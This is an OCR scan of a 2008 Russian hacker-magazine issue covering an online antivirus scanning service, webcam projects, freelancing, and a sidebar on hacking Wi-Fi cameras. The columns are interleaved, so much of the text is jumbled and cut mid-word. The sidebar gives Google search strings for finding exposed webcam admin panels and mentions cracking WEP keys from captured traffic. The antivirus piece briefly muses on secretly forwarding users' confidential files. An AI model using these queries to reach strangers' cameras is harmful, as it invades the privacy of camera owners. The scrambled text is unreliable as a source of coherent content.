будет отнюдь не в пользу virus-total’а. идеей, поскольку он выдает множество коллизий (разные
Учитывая, что практически все антивирусы (и GUI-версии в файлы имеют идентичные контрольные суммы), к тому же его
том числе) поддерживают запись результатов сканирования в легко подделать, модифицировав любое количество байт
log-файл и позволяют задавать имя сканируемого файла через файла и затем скорректировав 4 байта так, чтобы скомпенси-
командную строку или, на худой конец, через механизм DDE ровать искажения. Однако CRC32 шустро работает, обгоняя
(Dynamic Data Exchange), ничего не стоит прикрутить GUI-вер- MD5 и другие хорошие алгоритмы. Поэтому возникает идея:
сию к онлайновой службе. Просто «скармливаем» антивирусу для каждого файла, прогоняемого через антивирусы, мы
файл, форсируем запись результатов сканирования в log- генерируем CRC32 и MD5 (с учетом времени сканирования warning
файл, который парсим так же, как и вывод консольных версий. накладными расходами на расчет контрольной суммы можно Антивирусные пакеты
Остается только собрать «показания» всех имеющихся в пренебречь), а при последующей проверке залитого пользо- зачастую несовмес-
нашем распоряжении антивирусов, оформить их в виде вателем файла сначала проверяем CRC32 (проверяется очень тимы между собой.
HTML-таблицы и выдать на экран, что по силам даже самым быстро) и, если такой контрольной суммы в нашей базе нет, Но, как правило,
начинающим программистам. MD5 можно и не вычислять — зачем? Ведь и так видно, что несовместимы про-
В клинических случаях, когда антивирус начисто игнори- файл еще не проверялся; активные защиты и
рует командную строку или не умеет вести логи, на помощь • многие «честные» файлы (особенно входящие в состав мониторы, работаю-
приходит механизм Windows-сообщений (Windows Message операционной системы) снабжены цифровой подписью или щие в реальном вре-
или, сокращенно, WM). Посылая WM-сообщения элементам их целостность может быть проверена путем обращения к мени, в то время как
управления антивируса, мы можем манипулировать кнопками, серверам Microsoft, что осуществляется намного быстрее ан- статические сканнеры
(а именно они нам и
нужны) отлично функ-
ционируют в одной

Проблемы ски это реализуется проще простого,


но… как избежать злоупотреблений?!
открывшим у нас счет. Кстати, это
представляет собой нехилую моти-
системе.

конфиден- Особенно, если мы строим наш бизнес


на отправке свежих штаммов разра-
вацию для оплаты услуг, особенно
с учетом того, что о конфиденци-

циально- ботчикам антивирусов?


Идея первая (тупая до безобразия)
альности в основном беспокоятся
корпоративные пользователи,

сти — наплевать на все приличия и отсы-


лать файлы в антивирусные центры не-
зависимо от состояния каких-то там га-
привыкшие платить за услуги (в
отличие от домашних юзеров, тяго-
теющих к халяве вне зависимости от
Вирусы встречаются не только в про- лочек. Главное: создать у пользователя стоимости полнофункционального
граммах, но и в офисных документах, иллюзию, что его конфиденциальность аккаунта).
PDF’ах и прочих файлах с конфиден- строго блюдут, ну а что происходит Идея третья — файл все-таки отправ-
циальной информацией, разглашать на самом деле, он все равно не узнает. лять, но перед этим удалять всю тек-
которую крайне нежелательно, поэто- Ну… до тех пор, пока тайное не станет стовую и графическую информацию,
му необходимо предусмотреть опцию явным и не разразится скандал, идущий что не противоречит ни логике, ни
«не отсылать данный файл в антиви- совсем не на пользу нашему ресурсу. здравому смыслу, ни даже соглаше-
русные центры», при необходимости Идея вторая — поддерживать эту нию, заключенному с пользователем
взводимую пользователем. Техниче- опцию только для пользователей, нашего сервиса.

xàêåð 05 /113/ 08
027
>> pc_zone

Внешний вид утилиты PEiD, определяющий тип и версию упаковщика/


протектора исполняемых файлов

тивирусного сканирования, и раз по данным Microsoft, файл не изменен,


зачем его прогонять через антивирусы?!
Также крайне желательно реализовать опцию, позволяющую поль-
зователю выбирать режим сканирования с эвристикой и без (чего не
сделано на virustotal). Эвристика представляет собой довольно затратную
по времени и ресурсам ЦП операцию, но далеко не все пользователи
доверяют полученным результатам и хотят видеть имя конкретного вируса
(если он есть), а не расплывчатое предупреждение, обычно ругающееся
на упаковщик/протектор, которым обработан честный файл. С другой сто-
роны, вирусописателям совершенно неинтересно сканирование по базе Внешний вид популярной онлайновой антивирусной службы virustotal.
(так как только что написанного вируса там заведомо нет) и они предпочли Часть информации о внутреннем устройстве можно найти на ее же соб-
ственном блоге, но… гораздо интереснее спроектировать улучшенную
бы задействовать только эвристику, экономя тем самым ресурсы нашего версию онлайнового антивирусного сканера с чистого листа
сервера. Так почему бы не пойти им навстречу?
Закачка больших файлов предоставляет серьезную проблему, имеющую
несколько решений. Самое простое (и глупое) — установить верхний
предел закачиваемого файла в пару мегабайт (или около того), чуть-чуть
умнее: лимитировать суммарный размер всех файлов, закачанных за су- Юридические
тки с одного IP (но тут возникает проблема определения IP, поскольку очень
часто мы будем видеть не IP пользователя, а IP прокси сервера провайде- проблемы
ра). Полезно рекомендовать юзерам сжимать файлы перед отправкой zip’ом
или другим популярным архиватором для уменьшения нагрузки на канал
или делать это автоматически на клиентской стороне специальным скрип-
лицензирования
том. Наконец, за сканирование больших файлов можно взимать деньги, но Пользовательские соглашения (EULA) на коммерческие антивирусы
об этом мы поговорим чуть позже, а пока продолжим тему оптимизации. не разрешают использовать их в онлайновых сервисах без заклю-
Профилировка показывает, что львиная доля накладных расходов прихо- чения специальных контрактов, что вообще-то логично. Однако не
дится на запуск антивируса, инициализацию его движка и загрузку антиви- стоит думать, что всякий контракт обязательно связан с необходимо-
русных баз. Перемещение антивирусов на виртуальный диск существенно стью выплаты дополнительных отчислений. Вовсе нет! Достаточно
увеличивает «подвижность» системы, но накладные расходы на создание проявить надлежащий дипломатический подход!
новых процессов по-прежнему будут большими, поэтому мы используем Крупные бренды заинтересованы в рекламе своей продукции и пото-
GUI-версии антивирусов и, путем эмуляции клавиатурного ввода, воздей- му охотно разрешают использовать полнофункциональные версии
ствуем на элементы управления, заставляя их сканировать новые файлы и антивирусов без всяких отчислений, поскольку конечный пользо-
выдавать результат. При этом антивирус запускается всего один раз. Красо- ватель реально видит, кто сосет, а кто нет. Правда, могут выдвинуть
та! Впрочем, можно реализовать и динамический алгоритм: при небольшой встречные условия типа сохранения логотипов, генерации ссылок на
нагрузке на сервер о накладных расходах на порождение новых процессов их сайты и т. д. Все это мелочи, решаемые в рабочем порядке.
можно не заботиться, а с ростом нагрузки — просто брать несколько файлов, А что мелкие бренды? Они, конечно, понимают, что сравнение с
закачанных пользователями за последние несколько минут и «скармли- конкурентами будет не в их пользу. Тут есть один очень интересный
вать» их антивирусу всем скопом, в результате чего количество запусков момент. Мелкие антивирусные компании страдают хронической не-
резко сокращается. Главное не запутаться, какой пользователь что закачал, хваткой свежих вирусов, которые попадают к ним в последнюю оче-
но это уже мелочи технической реализации. редь, и потому онлайновый сервис, автоматически отсылающий уже
Естественно, сканирование лучше запускать на всех антивирусах па- детектируемые конкурентами вирусы — для них прекрасное средство
раллельно, а не последовательно и вместо того, чтобы «тупо» запрещать пополнения вирусных баз и продвижения в различных рейтингах. С
пользователю закрывать окно браузера до окончания процесса скани- мелких брендов можно даже взимать плату за каждый новый вирус, и
рования (как это делает virus-total), отслеживать TCP/IP соединение и есть большая вероятность, что платить они согласятся!
при его обрыве автоматически «выбрасывать» файл, принадлежащий Короче говоря, лицензионные проблемы — это и не проблемы вовсе.
данному пользователю, из очереди на сканирование. Плюс реализовать А вот разных проволочек — предостаточно и нужно заранее быть го-
стандартную кнопку «отмены» (так же отсутствующую у virus-total’а) товым к тому, что нас будут перебрасывать от одного ответственного
— если пользователь видит, что первые три-четыре антивируса ничего не лица (которое ничего не решает) к другому, третьему, и так по цепоч-
находят, так следует ли дожидаться результатов проверки всех антивиру- ке… Это уже издержки цивилизации, против которых не попрешь.
сов? Особенно, если самые качественные антивирусы поставить вперед

028 xàêåð 05 /113/ 08


>> pc_zone

XSafe — один из первых антивирусов, разработанных автором еще под


MS-DOS
Внутри дизассемблерного кода вирусного тела

остальных, выделив им максимальный приоритет ЦП. Как вариант,


можно вообще не следить за TCP/IP сессий и при заливке нового файла нашего сайта. На посещаемости, как известно, можно нехило заработать,
назначать пользователю ID задачи, который он может ввести в любое особенно, если мы, например, продаем собственные защитные комплексы,
время, отключившись от Сети и повторно подключившись, например, предлагаем услуги по пен-тестингу и т.д. Онлайновый сервис привлекает
через час, когда его очередь уже подошла. А можно рассылать результаты клиентов намного активнее любых баннеров и, главное, привлекает имен-
сканирования по e-mail — тогда пользователь не будет скучать в ожида- но тот контингент, который нам нужен, следовательно, возросшие объемы
нии своей очереди. продаж покроют все расходы на поддержку и обслуживание серверов,
И совсем не помешает прикрутить к нашему сервису утилиту вроде PEiD, отплату трафика и т. д.
определяющую тип и версию упаковщика/проектора (правда, довольно Второе — отчисления от антивирусных компаний, чью продукцию мы
часто ошибающуюся). И опционально реализовать распаковку набо- рекламируем и кому передаем штаммы свежих вирусов. Тут, правда,
ром статических распаковщиков, работающих намного быстрее тех, что много не заработаешь, поскольку лишь небольшая часть посетите-
встроены в антивирусы. Тут есть один подводный камень — хотя 99% лей кликнет по ссылке «купить» антивирус, а стоимость вирусного
вирусов распознаются по распакованному дампу, некоторые, особо штамма обычно составляет $1 (а то и меньше). Вот и считай, на ка-
ленивые, сотрудники антивирусных компаний включают в базу сигнатуры кой уровень посещаемости нужно выйти, чтобы окупить расходы на
упакованного файла, и после распаковки он перестает опознаваться как поддержку сервера, которые, кстати говоря, тем больше, чем выше
вирус. Однако, учитывая, что распакованный файл прогоняется через посещаемость.
легион антивирусов, вероятность ложно-негативного срабатывания Третье — взимать деньги непосредственно с самих пользователей.
стремится к нулю. Хочешь подолгу стоять в очередях и сканировать файлы не больше чем …
мегабайт? Пожалуйста, пользуйся нашим сервисом бесплатно! Хочешь
Зарабатываем деньги лопатами иметь определенные привилегии — будь добр заплатить. Главное,
Мир жесток и все в нем упирается в деньги. На голом энтузиазме никой выбрать удобную схему оплаты. Здесь вам не Америка, здесь климат
онлайновый сервис долго не продержится, поэтому приходится разраба- (финансовый) иной. Кредитные карты имеют единицы, электронные
тывать не только программный код, но и жизнеспособную бизнес-схему. системы платежей только начинают набирать популярность. Зато прак-
Рассмотрим возможные источники дохода. Первое — рост посещаемости тически каждый IT-специалист — владелец сотового телефона, а значит,
можно воспользоваться микро-платежами через SMS либо потребовать
от клиента сообщить номер карты универсальной оплаты (перечислив
заданную сумму на счет, который он может расходовать, когда поль-
зуется нашим сервисом). Как показывает практика, сотовые платежи
приносят наибольшую отдачу, поскольку телефоны распространены
повсеместно, а сам процесс оплаты требует минимум телодвижений, и
(что немаловажно) клиент практически ничем не рискует. А вот с кредит-
ными картами все намного сложнее и есть риск, что нечестный оператор
снимет с них совсем не ту сумму, какая ожидалась. Тоже относится и к
микро-платежам через SMS. Гарантий, что снимут 150 рублей, а не 450, у
клиента нет никаких.

А что в итоге?
Разумеется, в статье охвачены далеко не все проблемы, с которыми неиз-
При онлайновом антивирусном сканировании основная нагрузка ложится бежно столкнется всякий, попытавшийся воздвигнуть подобный онлайно-
на подсистему ввода/вывода и оперативную память. Требования к мощ- вый сервис. Но задача выполнена — мыщъх предоставил вполне закончен-
ности процессора не столь значительны (антивирусы располагались на
жестком диске и работали в режиме чистого сканера без эвристического ную, отлаженную и работоспособную схему, которая скоро будет запущена в
анализатора) промышленную эксплуатацию. z

xàêåð 05 /113/ 08
029
>> pc_zone

степан «STEp« Ильин


/ [email protected] /

На что
способна
твоя Web-камера
cемь необычных применений для самой обыкновенной веб-камеры

Видеосигнализация. Система безопасности с распознаванием лица. Управ-


ление компьютером движением головы... Вот лишь некоторые результаты
наших безобидных экспериментов. Кто тут говорил, что веб-камера — без-
делушка для мало кому нужных видеоконференций?

еб-камера при всей своей простоте является девайсом от сети, а изобретать велосипед с самодельной аккумуляторной системой не
В продвинутым — позволяет получить картинку «в цифре» и в ре- хотелось. В поисках альтернативного решения пришла отличная идея, как
альном времени. Мы решили проверить, на что она способна, можно самому изготовить беспроводную камеру. Раз уж в моем коммуни-
и нашли несколько очень неожиданных применений. каторе есть Wi-Fi и двухмегапиксельная камера, почему бы не объединить
их? Еще не начав копаться в документации Windows Mobile, быстро нашел
1. Делаем беспроводную камеру из телефона или КПК готовый продукт. Утилита WebCamera Plus (www.ateksoft.com) написана как
Для выполнения одного из заданий ночной игры DozoR (www.dzzzr.ru) мне на заказ: снимая изображения с камеры смартфона или коммуникатора, она
срочно понадобилась беспроводная Wi-Fi камера. Игрушка оказалась не пересылает их на комп (на специальную серверную часть). Можно переда-
такой уж дешевой: Яндекс.Маркет однозначно указывал, что меньше, чем за вать картинку по Wi-Fi, Bluetooth или даже GPRS (не лучший вариант, мягко
3000 руб., ее не найти. Более того, всем им необходимо постоянное питание говоря) — в любом случае получается беспроводная веб-камера. Для пере-

030 xàêåð 05 /113/ 08


>> pc_zone

links
О том, как сделать
из камеры прибор
ночного видения ты
сможешь прочитать
тут: www.instructables.
com/id/Making-a-
Night-Vision-Webcam.
Интересные на-
работки в области
распознавания лиц
Шпионский девайс в руках: коммуникатор передает изобра- доступны на сайте
жение по Wi-Fi на заданный IP-адрес pages.cpsc.ucalgary.
ca/~hanlen/vision/
дачи нужно лишь указать IP-адрес компьютера, на котором ус- facelinks.html
тановлена серверная часть. Надо добавить, что вместе с самой
программой на компьютер инсталлится специальный драйвер
виртуальной камеры. Таким образом, полученное изображение
можно использовать в Skype, Virtual Dub — да в какой угодно
программе, и ни одна из них не будет даже догадываться о том,
что изображение ей передается с телефона! В последней вер-
сии WebCamera Plus помимо картинки стала передавать еще и
звук. Поэтому к «случайно» забытому у тебя дома смартфону я info
бы посоветовал отнестись со всей осторожностью :). Если тебя заин-
Серверная часть WebCamera Plus принимает изображение
Даже если в мобильнике нет беспроводного модуля, ничего тересовала тема
не мешает сделать из него обычную камеру (подключив беспроводных камер,
телефон к компу по USB). По меньшей мере, это избавит тебя могу посоветовать
от необходимости покупать веб-камеру. И не спеши ругаться, один рецепт. Вместо
если у тебя устройство на базе другой платформы. Специаль- дорогостоящей Wi-Fi
но для владельцев смартфонов с ОС Symbian мы нашли еще камеры, у которой, к
один продукт, предоставляющий схожую функциональность. тому же, немаленькие
Не умея передавать данные по Wi-Fi, Mobiola Webcam (www. размеры, можно ис-
warelex.com) отлично работает по USB и Bluetooth, при этом пользовать беспро-
существуют версии для Symbian S60 и UIQ. То есть работать водную аналоговую,
все будет и с большинством смартфонов Nokia, и новинками от ценой в 1500 рублей.
Sony Ericcson. Владельцев обычных телефонов с поддержкой Приемник легко
Java также не обделили: для них есть специальная версия подключается к TV-
Mobiola Webcam Lite. Последняя, правда, умеет передавать тюнеру. Последнего
данные только по Bluetooth. если и нет, то его легко
стрельнуть у друзей.
2. Сигнализация своими руками
Вдоволь наигравшись с радиоуправляемой машинкой и UVScreenCamera
прикрепленной к ней камерой (чуть не убив и ту, и другую), мы Определив внутри окружностей движение, Webcam Zone (www.uvsoftium.ru)
Trigger выполнит соответствующие действия
задумались о более практичном применении. Беспроводная — яркий пример того,
камера в этом плане дает огромный простор для деятельности. что веб-камеру можно
Как тебе идея сделать видеоглазок для квартиры или систему применять на произ-
слежения за автомобилем, который ты оставляешь на ночь бразить изображение с камеры в системном трейе. Отправить водстве. Например,
во дворе? Да запросто! Поможет нам в этом специальная email/SMS-сообщение или выполнить какой-то HTTP-за- для подсчета батонов,
программа Webcam Zone Trigger (www.zonetrigger.com). Суть прос. В конце концов, просто запустить некоторый сценарий. сходящих с конвейе-
в том, что на любую часть изображения, передаваемого с Словом, запрограммировать можно все, что угодно. Добавлю, ра :).
веб-камеры (пусть это будет окружность с некоторым радиу- что в качестве источника изображения можно использовать
сом), можно создать так называемый триггер. Скажем, если DV-камеру, TV-тюнер, некоторые цифровые фотоаппараты и
камера «смотрит» на автомобильную стоянку перед домом, то IP-камеры.
триггеры можно поставить на каждое автомобильное место.
Далее — все прозаично. Как только в заданной зоне происхо- 3. «Узнай меня», или система
дит какая-то активность (чувствительность, продолжитель- идентификации лица
ность движения и прочие параметры, само собой, задаются А было бы здорово, если б компьютер тебя узнавал! В прямом
в настройках), сработает соответствующий триггер. Задача смысле слова. Посмотрел и понял, что к монитору подошел имен-
программы — выполнить определенное для этого триггера но ты, а не сотрудник соседнего отдела, норовящий стащить у
действие. Скажем, включить на компьютере сирену или ото- тебя что-то ценное. В общем, это и было нашей следующей идеей

xàêåð 05 /113/ 08
031
>> pc_zone

В настройках Camera Mouse 2008 можно задать чувствительноcть перемещения, а также значение таймаута, после которого будет совершен клик

— уникальная и невероятно эффектная. А главное, твоя веб-камера с ее по-


мощью наконец-то сможет найти достойное применение! Ровно до тех пор,
пока соседи не просекут фишку и не сделают отмычку в виде твоей огром-
ной фотографии :). Но чтобы они и дальше не раслаблялись, рекомендую
установить утилиту BioLogin (www.idiap.ch/biologin). Теперь им придется не
только «взломать» защиту распознования лица, но и подделать твой голос,
потому как программа потребует произнести ключевую фразу!

4. Управляй мышкой движениями глаз!


В наших новостях часто проскакивают заметки о том, что некие ученые
научились считывать и интерпретировать сигналы мозга. В доказатель-
ство приводятся видеоролики, где какая-нибудь миловидная девушка,
безжалостно облепленная непонятными датчиками, неспешно передви-
гает курсор мыши одной лишь силой мысли. Ну, просто подумала о том,
что неплохо бы его переместить в правый верхний угол — и он чудесным
образом там оказывается. Сразу говорю: подобного аппарата у нас нет (и
то только потому, что не хватает времени его спаять по чертежам, которые
набросали еще прошлой осенью). Но перемещать курсор, просто подвигав
головой или даже посмотрев в нужное место, — это мы можем! Пока я искал
хорошую реализацию системы распознавания лица, мне попалась по-на-
стоящему волшебная программа с говорящим названием Camera Mouse
Программа успешно нашла на изображении лицо. Левая шкала показывает
качество распознавания, а правая — степень соответствия сохраненному (www.cameramouse.org) .
шаблону. Как видишь, Lemon Screan меня признала Весь интерфейс утилиты — небольшое окошко, на котором выводится
изображение с камеры. Но стоит щелкнуть на какую-нибудь часть лица
(для этого в камеру, конечно же, нужно посмотреть), как к ней тут же
идентификация человека с помощью веб-камеры. Конечно, сканировать «прилепится» зеленый квадратик. Теперь он будет повторять все дви-
сетчатку глаза мы не собирались, но вот распознать лицо человека, можно жения твоей головы. Нажми <Numlock> и посмотри по сторонам: мышка
было попробовать. Найти готовые реализации такой идеи было непросто. Зато будет двигаться именно в ту сторону, в какую ты повернешь голову!
результат превзошел все ожидания: найденная в итоге утилита LemonScreen Сложее выполнить клик мышью: для этого в настройках программ ука-
(www.keylemon.com) оказалась именно тем, что нужно, и к тому же совершен- зывается таймаут в секундах (замеряется отсутствие движения), после
но бесплатной. которого эмулируется нажатие мышки. Поверь: это надо попробовать
Научить программу распознавать физиономию несложно. Это называется самому! Мне попадались самые разные программы и, по правде говоря,
Enrollment. Слева в окне настроек отображается изображение с камеры, при- удивить меня достаточно сложно. Но эта софтина произвела просто
чем твое лицо, в каком бы положении ты ни находился, выделяется специаль- потрясающее впечатление!
ным контуром. Можешь ради эксперимента подвигать головой — посмотри,
что произойдет с контуром. Справа от изображения находятся две шкалы. 5. А теперь — УПРАВЛЯЕМ просто руками!
Первая (Face detection confidence) показывает качество распознавания. Как Очень скоро выяснилось, что для управления курсором мыши вовсе
только оно будет выше заданного порогового значения (шкала окрасится в необязательно мотать головой (как бы эффектно это ни смотрелось). Набор
зеленый цвет), можно нажимать на кнопку Update model — и таким образом специальных жестов в связке с камерой, которая непрерывно отслеживает
сохранять образ в память программы. Вторая шкала показывает, насколько движения рук, позволяют весьма удобно перемещать курсор по экрану и
текущий образ в камере соответствует уже сохраненной модели. Для вер- выполнять все необходимые действия, не подходя к компьютеру. Несмотря
ности в нижнем поле задается специальной пароль, с помощью которого ты на быстро обнаруженный ролик на YouTube.com, наглядно демонстрирую-
сможешь разблокировать компьютер на случай, если что-то пойдет не так. щий подобный метод, найти конкретную реализацию оказалось довольно
Через 60 секунд отсутствия какой-либо активности в камере, LemonScreen сложно. Первую находку HandVu (www.movesinstitute.org/~kolsch/HandVu/
блокирует систему. Интереса ради можешь попросить кого-нибудь из дру- HandVu.html) при всем красочном описании на сайте разработчиков за-
зей подойти к компьютеру. Бьюсь об заклад, экран не разблокируется. Но пустить мне так и не удалось. Пришлось помучаться с тем, чтобы установить
стоит лишь тебе посмотреть в камеру — на мониторе отобразится рабочий нужную версию библиотеки OpenCV, на которую завязана программа. Про-
стол! Увы, освещение может сыграть против тебя, усложнив распознава- блема возникала из-за того, что последний релиз программы, вышедший
ние. Поэтому, если программа не признает «отца родного», посмотри в еще в 2006 году, использовал древние версии библиотек, которые сейчас
камеру и введи в нужном поле пароль. Компьютер разблокируется, а в па- днем с огнем не сыщешь. Но даже после того как мне удалось запустить
мяти LemonScreen будет обновлен образ. Это особенно актуально для тех, HandVu, она упорно игнорировала любые мои жесты. Пришлось искать
кто использует программу на ноутбуке. Короче говоря, утилита поистине альтернативу. Hand Gesture Interface (www.cmpe.boun.edu.tr/~keskinc)

032 xàêåð 05 /113/ 08


>> pc_zone

info
Программы для визу-
ального распознава-
ния образов кажутся
жутко сложными. На
самом деле, почти все
они основаны на бес-
платной библиотеке
OpenCV (sourceforge.
net/projects/
opencvlibrary), в ко-
торой и реализованы
большинство сложных
Управление мышкой с помощью Hand Gesture Interface математических алго-
ритмов. А прикладные
оказалась сговорчивее и запустилась сразу, но попроси- проецируется картинка. Короче говоря, стоя рядом со спрое- программисты лишь
ла подключить вторую камеру. Позже выяснилось, что для цированным изображением, ты можешь работать на компью- грамотно используют
работы подобных программ обязательно нужны две камеры: тере, перемещая курсор мыши с помощью карандаша с ярким ее возможности.
одна отслеживает перемещения руки по вертикали, другая наконечником или лазерной указки.Клик мыши, разумеется,
— по горизонтали. Все это в реальном времени, поэтому также реализован и осуществляется в случае, если указатель
управление получается максимально интуитивным. Принцип некоторое время стоит на месте. Технология называется Point-
понятен: двигаешь рукой — двигается и курсор. По набору and-click и очень удобна. Единственный недостаток (а для
жестов совершаются разные действия: левый и правый клик, кого-то — достоинство) Mando заключается в том, что работает
перемещение объектов. Лучше это просто попробовать, для он только под никсами и конкретно графической оболочкой
чего потребуется вторая камера и яркая перчатка, надетая на KDE. Однако устанавливается без сучка и задоринки по стан-
твою руку. дартной схеме:

6. впечатляющий проектор tar xjf mando-1.6.tar.bz2


Каждый, кто когда-то проводил презентацию на проекторе, cd mando-1.6
знает, насколько сильно сбивает с мысли необходимость под- ./configure
ходить к компьютеру, чтобы перелистнуть слайд или, того хуже, make
выполнить какое-то действие. За «пульт» можно посадить по- ./mando
мощника, что отчасти решит проблему, но только в том случае,
если сам человек в теме и понимает тебя с полуслова. Но тебя После запуска и автоматической калибровки можно присту-
могут каверзно попросить показать что-то очень специфиче- пать к работе. Надо отдать должное разработчикам: система
ское и тогда тебе все-таки придется подойти к компьютеру. работает на ура. Учти, впечатленная подобной фишкой аудито-
Или не придется, если ты заблаговременно разберешься с рия наверняка удивленно спросит: «А как ты это сделал?!»
проектом Mando (sourceforge.net/projects/mando).
Состоящая из проектора и веб-камеры система, позволяет 7. Устрой трансляцию в Сеть
виртуально перемещать курсор мыши в соответствии с тем, Если раньше для трансляции изображения с камеры в Сеть
что в этот момент показывает выступающий на полотне, куда приходилось плясать с бубном, чтобы подружить веб-демон

шинстве своем работают по четырем каналам передачи

Как взламывают сигнала:

Wi-Fi камеры channel


channel
channel
A
B
C
=
=
=
2,411
2,434
2,453
ГГц
ГГц
ГГц
Раз уж мы заговорили о том, как создать свою беспро- channel D = 2,473 ГГц
водную камеру, то коснемся ее безопасности. Любое
wireless-устройство передает данные в разделяемый Не так давно на страницах нашего журнала освещалась
эфир, логично предположить, что их можно перехватить. прога hauditor (itdefence.ru/content/product_news/irat),
Большинство камер из тех, что первыми появились на которая занимается поиском web-панелей администрато-
рынке, не имели шифрования в принципе, поэтому пе- ра различного сетевого оборудования, в том числе — то-
рехватить передаваемую ими картинку ничего не стоит. чек доступа и камер, внутри сети. Заюзав ее, ты сможешь
Впрочем, поддержка WEP-шифрования мало меняет посмотреть изображение в окне своего браузера. Кстати
картину. Поскольку «глазик» постоянно нагнетает трафик говоря, очень многие админ-панели от веб-камеры про-
за счет своего вещания, можно очень быстро перехватить индексированы самим Google’ом. Их очень легко найти,
необходимое для взлома количество инициализационных используя один из следующих запросов: «url:/view/index.
векторов (IV) и расшифровать ключ. Камеры в боль- shtml» или «inurl:ViewerFrame?Mode=».

xàêåð 05 /113/ 08
033
>> pc_zone

В webcamXP встроен мощный детектор движения, способный отслеживать множество зон одновременно

и специальные модули, то теперь все стало намного проще. Прикольная сигнал с web-камер, видеокамер или плат видео-захвата (в том числе, TV
утилита webcamXP (www.webcamxp.com) позволяет транслировать изо- тюнеров) с максимальной частотой 30 кадров в секунду. Захваченное видео
бражения с веб-камеры в инет без настройки какого-либо оборудования. можно сохранить как в родном формате программы, так и оцифровать
Процесс конфигурации сводится к нескольким кликам мыши. Программа с помощью любого кодека, установленного в системе. Если есть жела-
определит все необходимые настройки, а потом попробует подключиться ние, можно включить отсылку определенных уведомлений при наличии
сама к себе, используя специальный сервер. Особенно выгодно webcamXP засекаемых движений перед камерой. Это позволяет использовать Active
выглядит за счет своей универсальности. Для удаленного подключения WebCam в качестве реальной системы слежения.
на клиентской стороне может использоваться все, что угодно: решение на Если вдруг окажется, что ты находишься за файрволом, обе программы мо-
базе Java, браузер с поддержкой Javascript или Flash. Последний уж точно гут оказаться бессильны. Впрочем, когда кровь из носа нужно транслиро-
есть практически на любой системе. При этом администратор может четко вать сигнал из какой-то суперзащищенной сети, прячущейся за NAT’ом и
настроить систему безопасности, создав аккаунты с различными правами файрволами, то в этой ситуации банально выручит Skype (www.skype.com)
доступа. Я уже не говорю о простой защите с помощью пароля. с его продвинутым протоколом. Не забудь в настройках (Tools  Options
Еще одна похожая утилита — Active WebCam (www.pysoft.com). Помимо  Video) включить автоответ для заранее созданного аккаунта, который и
трансляции в Сеть, она умеет оцифровывать видео. Эта программа снимает будешь использовать для удаленного подключения к своей камере. z

Глаза для робота


Если вдруг ты нацепишь беспроводную камеру на RC-машинку или,
вообще, собственноручно созданного робота (из конструктора LEGO, к
примеру), есть смысл задуматься о создании машинного зрения. Опять
же с помощью веб-камеры! Только представь, твой робот сам сможет
перемещаться по помещению, производить распознавание объектов,
анализировать ситуацию и выполнять определенные действия. Каза-
лось бы, задача настолько специфична, что никаких готовых решений
здесь быть не может. Однако ж нет: существует специальный набор
программных средств для создания машинного зрения — RoboRealm
(www.roborealm.com). Ничего не стоит, например, научить робота
распознавать на полу шарик красного цвета и пинать его по полу. Про-
изводители веб-камер, наверняка, не могли и подуматьть о подобном
применении их продукции, а ребята с робофорума (www.roboforum.ru)
и любительского сайта (roborealm.narod.ru) уже переводят документа- Список пользователей, подключенных к нашей трансляции. Пока их
цию по этой программе и приводят конкретные примеры. немного

034 xàêåð 05 /113/ 08


>> pc_zone

Максим Соколов

Как я стал
фрилансером
Заметки вольного стрелка

Неважно, кто ты и из какого города. Не имеет значения, сколько тебе лет


и кто ты по национальности. Если ты умеешь делать что-то хорошо, — ты
можешь стать фрилансером. Заниматься тем, что ты любишь и умеешь, без
жесткого графика и тупого начальника. И при этом — зарабатывать вполне
приличные деньги!

отратив несколько недель на кликание по непонятным бан- разовую работу. Намного проще (и зачастую выгоднее) отдать ее на
П нерам и участие в сомнительных партнерских программах, я фриланс — найти вольного стрелка, который знает свое дело и выполнит
понял: бесплатного сыра в жизни нет. Нет его и в интернете. задание за плату, как правило, меньшую, чем запросят в профессиональ-
Чтобы заработать деньги, надо пахать и неважно: на заводе, ном агентстве. Избавленный от необходимости создавать новое рабочее
в офисе или в Сети. На тот момент у меня были довольно широкие знания место, оформлять сотрудника по трудовому кодексу и заморачиваться с
в IT. Хотелось их развивать. Тогда я решил попробовать себя во фрилан- налоговыми органами, заказчик получает массу плюсов. Преимущества
се. Когда-то называвшиеся «внештатными работниками», фрилансеры для фрилансера тоже очевидны: вместо того, чтобы сидеть в душном
ныне востребованы как никогда. Многим работодателям просто невы- офисе, он работает, когда захочет и как захочет. И самое главное — тру-
годно брать в штат узкопрофильного специалиста, чтобы тот выполнял дится исключительно на себя, а значит, вся прибыль тоже его. Поскольку

036 xàêåð 05 /113/ 08


>> pc_zone

В профайле каждого пользователя отображается


его рейтинг, а также отзывы работодателей. Как
видишь, фидбеки могут быть как очень положи-
Для программиста PHP работа найдется всегда: ежедневно публикуется огромное количество зака- тельные, так и резко негативные
зов. Если бы не индусы, готовые работать за 3 копейки, то вообще все было замечательно

схема устраивает обе стороны, то нет ничего удивительного, единственный тонкий момент: правила ресурса запрещают
что фриланс стал так популярен. указывать в профиле какую-либо контактную информацию. В
противном случае аккаунт быстро заблокируют.
Когда во фрилансеры?
Работать «на дядю» или на себя — каждый должен решить Работа с заказами
сам, и, возможно, для этого придется попробовать оба вари- Все проекты (задания) на бирже рассортированы по мно-
анта. Умеешь ли ты настраивать серверы, понимаешь что-то гочисленным категориям, например: С++, XML, Flash, OS.
в дизайне или можешь написать тысячи строк кода за день, Работа здесь найдется для всех: программистов, дизайнеров, info
— неважно. Было бы желание, ты и дня не проведешь без копирайтеров, системных администраторов и даже пен-тес- Фрилансеры со
дела. Хорошие фрилансеры нарасхват, и если на первых по- теров. Если человеку нужен фрилансер, он заходит на GAF и стажем зачастую со-
рах возможен некоторый дефицит заказов, то через некоторое создает проект в нужной категории. При этом указывает суть бираются в группы,
время ты непременно обзаведешься постоянными заказчика- задания, объясняет, что надо сделать и задает несколько чтобы выполнять
ми, с которыми работать выгодно и удобно. параметров проекта: статус (открытый, закрытый), а также задания сообща и,
Важно — не бояться. Попробовать свои силы можно, даже возможный бюджет. Закрытые проекты нужны в том случае, тем самым, добиться
если ты новичок. В этом случае браться лучше за самые про- когда заказчик заранее знает, с кем будет иметь дело, и сам большей эффек-
стые (и соответственно, самые низкооплачиваемые) задания, рассылает приглашения проверенным фрилансерам. Однако тивности. Тягаться
предварительно продумав решение. Таким образом, ты и без в большинстве случаев проекты открыты для всех желающих. с ними сложно, но
денег не останешься и незаметно для себя поднатореешь, А желающих, как водится, много. Исполнитель определяется можно. К тому же,
